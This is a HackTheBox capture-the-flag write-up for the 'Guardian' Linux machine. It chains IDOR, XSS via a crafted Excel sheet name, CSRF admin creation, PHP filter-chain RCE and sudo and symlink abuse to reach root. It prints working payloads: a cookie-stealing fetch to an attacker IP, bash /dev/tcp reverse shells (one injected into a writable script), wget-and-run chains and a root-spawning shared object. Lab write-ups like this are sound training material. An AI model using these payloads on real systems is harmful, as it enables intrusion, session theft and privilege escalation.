HTB: Guardian Writeup

Guardian - HackTheBox Writeup

Machine Information

AttributeDetails
NameGuardian
OSLinux
DifficultyHard
PointsN/A
Release Date24 February 2026
IP AddressN/A
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐☆☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Guardian is a hard difficulty Linux machine featuring a university-themed web portal with multiple subdomains and layers of authentication bypass. The initial foothold leverages an IDOR vulnerability in the student chat feature to extract admin credentials for a Gitea repository. Source code analysis reveals a vulnerable PHPSpreadsheet version (3.7.0) exploitable via XSS, which is chained with CSRF to create an admin account. Post-exploitation involves a PHP filter-chain LFI-to-RCE attack, credential cracking, and lateral movement through a writable Python utility script. Finally, privilege escalation exploits a restricted Apache wrapper binary through symlink inclusion, demonstrating advanced exploitation techniques.

TL;DR: IDOR → Leaked Credentials → XSS via Excel → CSRF Admin Creation → PHP Filter LFI-RCE → Credential Cracking SSH → Python Script Modification → Apache Wrapper Symlink Abuse → Root


Reconnaissance

Port Scanning

Terminal window
nmap -p- --min-rate=1000 -T4 10.129.6.188
ports=$(nmap -p- --min-rate=1000 -T4 10.129.6.188 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.129.6.188

Results:

PortServiceVersion
22SSHOpenSSH 8.9p1 Ubuntu 3ubuntu0.13
80HTTPApache httpd 2.4.52 (Ubuntu)

Service Enumeration

HTTP - Port 80:

The initial HTTP request to 10.129.6.188 redirects to guardian.htb. After adding this to /etc/hosts, the site resolves to a university-themed portal with:

  • Static homepage containing staff email addresses and contact information
  • Student login portal accessible via button in top-right corner
  • Reference to subdomain portal.guardian.htb

Portal Discovery:

After enumerating subdomains based on the structure, the following are identified:

  • portal.guardian.htb - Student portal with login functionality
  • gitea.guardian.htb - Git repository hosting service
  • Additional subdomains inferred from application behavior
Terminal window
# Update /etc/hosts
echo "10.129.6.188 guardian.htb portal.guardian.htb gitea.guardian.htb" | sudo tee -a /etc/hosts

Vulnerability Assessment

VulnerabilityLocationSeverity
IDOR in Chat Feature/student/chat.phpCritical
XSS via PHPSpreadsheetLecturer submission viewerHigh
CSRF Token WeaknessAdmin user creation formHigh
PHP Filter LFI/admin/reports.phpCritical
Apache Wrapper Bypasssafeapache2ctl binaryCritical

Initial Foothold

Step 1: IDOR Vulnerability in Chat Feature

The student portal accepts default credentials as documented in the help section:

Username: GU0142023 (student ID format)
Password: GU1234 (default)

After login, the chat feature at /student/chat.php?chat_users[0]=13&chat_users[1]=14 uses direct user IDs without proper authorization checks.

Testing IDOR:

Change the URL parameters to access different chat histories:

http://portal.guardian.htb/student/chat.php?chat_users[0]=1&chat_users[1]=2

Result: Exposed admin-to-Jamil conversation containing Jamil’s Gitea credentials:

  • Username: jamil
  • Password: DHsNnk3V503

Step 2: Gitea Repository Access & Source Code Review

Log into gitea.guardian.htb with extracted credentials. The organization “Guardian University” contains two repositories. The portal.guardian.htb repository contains application source code.

Key Finding in composer.json:

{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}

CVE research reveals PHPSpreadsheet 3.7.0 is vulnerable to XSS when rendering Excel files. The vulnerability is exploited in /lecturer/view-submission.php (lines 265-289):

<?php if (pathinfo('../attachment_uploads/' . $submission['attachment_name'], PATHINFO_EXTENSION) === 'xlsx'): ?>
<div class="mt-8">
<h3 class="font-semibold text-gray-800 mb-3">Document Preview</h3>
<div class="overflow-x-auto bg-white p-4 border border-gray-200 rounded-lg">
<?php
$spreadsheet = IOFactory::load('../attachment_uploads/' . $submission['attachment_name']);
$writer = new Html($spreadsheet);
$writer->writeAllSheets();
echo $writer->generateHTMLAll();
?>
</div>
</div>
<?php endif; ?>

Step 3: XSS Payload Generation & File Upload

Create a malicious Excel file with embedded XSS payload:

from openpyxl import Workbook
from base64 import b64encode
IP = "10.10.14.76" # Attacker IP
PORT = 80
# Payload to exfiltrate PHPSESSID cookie
PAYLOAD = f"fetch('http://{IP}:{PORT}/c?c='+document.cookie)"
BASE64_ENCODED = b64encode(PAYLOAD.encode()).decode()
# XSS payload injected into sheet name
FULL_PAYLOAD = f'"><img src=x onerror=eval(atob(\'{BASE64_ENCODED}\')) >'
def create_excel_file(filename="evil.xlsx"):
wb = Workbook()
ws1 = wb.active
ws1.title = "Sheet 1"
# Sheet name containing XSS payload
wb.create_sheet(title=FULL_PAYLOAD)
wb.save(filename)
print(f"Excel file '{filename}' created successfully.")
create_excel_file("evil.xlsx")

Upload the file:

  1. Log in as student GU0142023:GU1234
  2. Navigate to Assignments section
  3. Submit evil.xlsx as an assignment

Listen for callback:

Terminal window
sudo nc -lvnp 80

Expected output:

listening on [any] 80 ...
connect to [10.10.14.76] from (UNKNOWN) [10.129.6.188] 57520
GET /c?c=PHPSESSID=mmb4n77aud2h59ebffakr98c41 HTTP/1.1

Extract the PHPSESSID cookie value and replace it in your browser cookies. This grants access as lecturer sammy.treat.

Step 4: CSRF Token Weakness Exploitation

From the lecturer dashboard, navigate to /lecturer/notices/create.php to create a notice. Observe the CSRF token mechanism in source code (/config/csrf-tokens.php):

<?php
$global_tokens_file = __DIR__ . '/tokens.json';
function get_token_pool() {
global $global_tokens_file;
return file_exists($global_tokens_file)
? json_decode(file_get_contents($global_tokens_file), true)
: [];
}
function is_valid_token($token) {
$tokens = get_token_pool();
return in_array($token, $tokens);
}
?>

Critical Flaw: CSRF tokens are not tied to sessions—any valid token in the global pool works for any user.

Create malicious CSRF HTML:

<form action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="eviladmin" />
<input type="hidden" name="password" value="pass1234" />
<input type="hidden" name="full_name" value="Evil Admin" />
<input type="hidden" name="email" value="evil@evil.com" />
<input type="hidden" name="dob" value="2003-10-10" />
<input type="hidden" name="address" value="Hack Street" />
<input type="hidden" name="user_role" value="admin" />
<input type="hidden" name="csrf_token" value="<CSRF_TOKEN_FROM_NOTICE_FORM>"/>
<script>
document.forms[0].submit();
</script>
</form>

Host the payload:

Terminal window
sudo python3 -m http.server 80

Trigger exploit:

  1. Create a notice with reference link: http://10.10.14.76/csrf.html
  2. Admin visits the link and inadvertently creates the eviladmin account

Verify admin access:

Log in as eviladmin:pass1234 to the admin panel.

Step 5: PHP Filter Chain LFI-to-RCE

In the admin panel, access /admin/reports.php?report=reports/enrollment.php. The code applies insufficient validation:

<?php
$report = $_GET['report'] ?? 'reports/academic.php';
if (strpos($report, '..') !== false) {
die("<h2>Malicious request blocked</h2>");
}
if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file</h2>");
}
?>
// ...
<?php include($report); ?>

Bypass using PHP filters:

The regex only checks if the filename ends with the allowed extensions. Bypass using:

http://portal.guardian.htb/admin/reports.php?report=php://filter/read=convert.base64-encode/resource=reports/enrollment.php

Generate filter chain for RCE:

Clone the filter chain generator:

Terminal window
git clone https://github.com/synacktiv/php_filter_chain_generator
cd php_filter_chain_generator

Create shell payload file:

Terminal window
# On attacker machine
echo 'bash -c "bash -i >& /dev/tcp/10.10.14.76/9001 0>&1"' > /tmp/shell
python3 -m http.server 80

Generate two chains—one to download, one to execute:

Terminal window
# Chain 1: Download shell script
python3 php_filter_chain_generator.py --chain '<?php exec("wget 10.10.14.76/shell"); ?>'
# Output example:
# php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|convert.base64-decode/resource=reports/enrollment.php
Terminal window
# Chain 2: Execute shell
python3 php_filter_chain_generator.py --chain '<?php exec("cat shell| sh"); ?>'

Set up listener:

Terminal window
nc -lvnp 9001

Execute both chains in browser/curl:

Terminal window
curl "http://portal.guardian.htb/admin/reports.php?report=php://filter/convert.iconv.UTF8.CSISO2022KR|...truncated.../convert.base64-decode/resource=reports/enrollment.php"

Result: Reverse shell as www-data


Lateral Movement

Step 1: Database Credential Extraction

From the web root, extract database credentials from configuration:

Terminal window
www-data@guardian:~/portal.guardian.htb$ cat config/config.php

Credentials found:

  • Host: localhost
  • User: root
  • Password: Gu4rd14n_un1_1s_th3_b3st
  • Database: guardiandb

Step 2: Password Hash Cracking

Connect to MySQL and extract user hashes:

Terminal window
mysql -h 127.0.0.1 -u root -p
# Enter: Gu4rd14n_un1_1s_th3_b3st
use guardiandb;
select username, password_hash from users;

Extract hashes of system users:

jamil.enockson: c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250
mark.pargetter: 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e

Hash format: SHA256 with salt 8Sb)tM1vs1SS appended to password.

Create hashcat input file:

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS
8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e:8Sb)tM1vs1SS

Crack with hashcat:

Terminal window
hashcat -a 0 -m 1410 hashes /usr/share/wordlists/rockyou.txt --show

Result:

c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250:8Sb)tM1vs1SS:copperhouse56

Step 3: SSH Access as Jamil

Terminal window
ssh jamil@guardian.htb
# Password: copperhouse56
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)

Retrieve user flag:

Terminal window
cat /home/jamil/user.txt
# <redacted>

Step 4: Sudo Enumeration & Script Modification

Terminal window
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=..., use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py

Examine the Python utilities script:

Terminal window
cat /opt/scripts/utilities/utilities.py

The script calls functions from /opt/scripts/utilities/utils/ modules. Check file permissions:

Terminal window
ls -al /opt/scripts/utilities/utils/

Key finding: status.py is writable by the admins group (which includes jamil):

-rwxrwx--- 1 mark admins 253 Apr 26 2025 status.py

Modify status.py to inject reverse shell:

# Original content preserved with added payload
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
# Injected reverse shell
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")

Update the file:

Terminal window
cat > /opt/scripts/utilities/utils/status.py << 'EOF'
import platform
import psutil
import os
def system_status():
print("System:", platform.system(), platform.release())
print("CPU usage:", psutil.cpu_percent(), "%")
print("Memory usage:", psutil.virtual_memory().percent, "%")
os.system("bash -c 'bash -i >& /dev/tcp/10.10.14.76/9001 0>&1'")
EOF

Listen for connection:

Terminal window
nc -lvnp 9001

Execute exploit:

Terminal window
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py system-status

Result: Shell as mark

Terminal window
mark@guardian:/opt/scripts/utilities/utils$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)

Privilege Escalation

Step 1: Sudo Enumeration for Mark

Terminal window
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

Step 2: Binary Analysis

Test the binary:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

Extract and decompile the binary for analysis:

Terminal window
# On remote machine, serve binary
mark@guardian:/usr/local/bin$ python3 -m http.server 8080
# On attacker machine
wget http://guardian.htb:8080/safeapache2ctl

Using Ghidra/IDA, the binary implements:

  1. Validates -f flag with path restricted to /home/mark/confs/
  2. Checks is_unsafe_line() to block external file includes
  3. Uses realpath() to prevent directory traversal
  4. Weakness: Symlinks within allowed directory are not blocked

Apache’s Include directive can reference symlinks. Create configuration and symlink within allowed directory:

Terminal window
mark@guardian:~$ mkdir -p /home/mark/confs

Create Apache configuration:

Terminal window
cat > /home/mark/confs/file.conf << 'EOF'
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
ServerRoot "/etc/apache2"
PidFile /tmp/fake.pid
Listen 9999
ServerName localhost
# Include symlink in allowed directory
Include /home/mark/confs/link
EOF

Create symlink to root flag:

Terminal window
mark@guardian:~$ ln -s /root/root.txt /home/mark/confs/link

Execute with sudo:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

Output:

AH00526: Syntax error on line 1 of /home/mark/confs/link:
Invalid command '<REDACTED_FLAG_CONTENT>', perhaps misspelled or defined by a module not included in the server configuration

The error message contains the root flag content!

Alternative: LoadFile RCE Method

For interactive root shell, compile malicious shared object:

/tmp/evil.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
static void __attribute__ ((constructor)) _init(void);
static void _init(void) {
printf("[+] Pwn library loaded!\n");
setuid(0);
seteuid(0);
setgid(0);
setegid(0);
static char *argv[] = { "sh", NULL };
static char *envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", argv, envp);
printf("[!] This should not be reached!\n");
}

Compile:

Terminal window
mark@guardian:/tmp$ gcc -shared -fPIC -o /tmp/evil.so evil.c

Update configuration to load malicious library:

Terminal window
cat > /home/mark/confs/file.conf << 'EOF'
ServerRoot "/etc/apache2"
PidFile /tmp/fake.pid
Listen 9999
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
LoadFile /tmp/evil.so
EOF

Execute:

Terminal window
mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf
[+] Pwn library loaded!
# id
uid=0(root) gid=0(root) groups=0(root)

Retrieve root flag:

Terminal window
# cat /root/root.txt
# <redacted>

Attack Chain Summary

IDOR (Chat)
↓
Leaked Jamil Credentials
↓
Gitea Source Code Access
↓
PHPSpreadsheet 3.7.0 XSS Vulnerability Identified
↓
Malicious Excel Upload
↓
Lecturer Session Hijacking (XSS)
↓
CSRF Token Pool Weakness
↓
Admin Account Creation (CSRF)
↓
Admin Panel Access
↓
PHP Filter Chain LFI Bypass
↓
Filter-Chain RCE
↓
www-data Shell
↓
MySQL Credential Extraction
↓
Hash Cracking (Jamil Password: copperhouse56)
↓
SSH as Jamil
↓
Writable status.py Modification
↓
Reverse Shell as Mark (via sudo)
↓
safeapache2ctl Binary Exploitation
↓
Symlink + Apache Include Directive
↓
Root Flag/Shell Access

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curl/wgetHTTP requests and file downloads
hashcatPassword hash cracking (SHA256)
mysqlDatabase credential extraction
sshRemote shell access
ncReverse shell listener
openpyxlMalicious Excel file generation
gitSource code review
gccShared object compilation
Ghidra/IDABinary decompilation and analysis
python3Scripting and HTTP server

Key Learnings

Techniques Practiced

  • IDOR Exploitation: Direct object reference vulnerability in chat parameters to escalate access
  • XSS via Office Documents: Exploiting deprecated library versions in document processing
  • CSRF with Weak Token Management: Abusing stateless CSRF tokens for unauthorized admin creation
  • PHP Filter Chains: Advanced LFI bypass using iconv and base64 encoding chains for RCE
  • Password Hash Cracking: SHA256 with salt extraction and dictionary attacks
  • Binary Analysis: Decompiling to identify security flaws in wrapper binaries
  • Symlink Exploitation: Bypassing path restrictions via symlinks in allowed directories
  • Apache Configuration Abuse: Leveraging Include directives as an escalation vector
  • Shared Object Injection: Constructor functions for privilege escalation

Lessons Learned

  1. Input Validation Requires Context: Regex patterns must account for multiple encoding/bypass techniques (e.g., PHP filters, null bytes, symlinks)

  2. Token Management Matters: CSRF tokens tied to sessions, not global pools—validate token-user binding

  3. Library Versioning is Critical: Always audit dependency versions against CVE databases, even in “old” code

  4. Permission Granularity: Group memberships (admins group for jamil) can grant unintended escalation paths

  5. File Inclusion Attacks Evolve: Modern PHP exploitation requires understanding filter chains, wrappers, and Apache directives beyond simple path traversal

  6. Wrapper Binaries Need Hardening: Symlink checks via realpath() are insufficient if Include directives are still available

  7. Multi-layer Exploitation: Real vulnerabilities often require chaining 5+ distinct techniques across services

  8. Database Access ≠ Endpoint Security: Leaked database credentials are an underrated escalation vector

  9. Default Credentials Still Reign: Even with modern frameworks, default passwords remain the quickest entry point

  10. XSS + Session Hijacking: Office document vulnerabilities are often overlooked as initial foothold vectors


Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>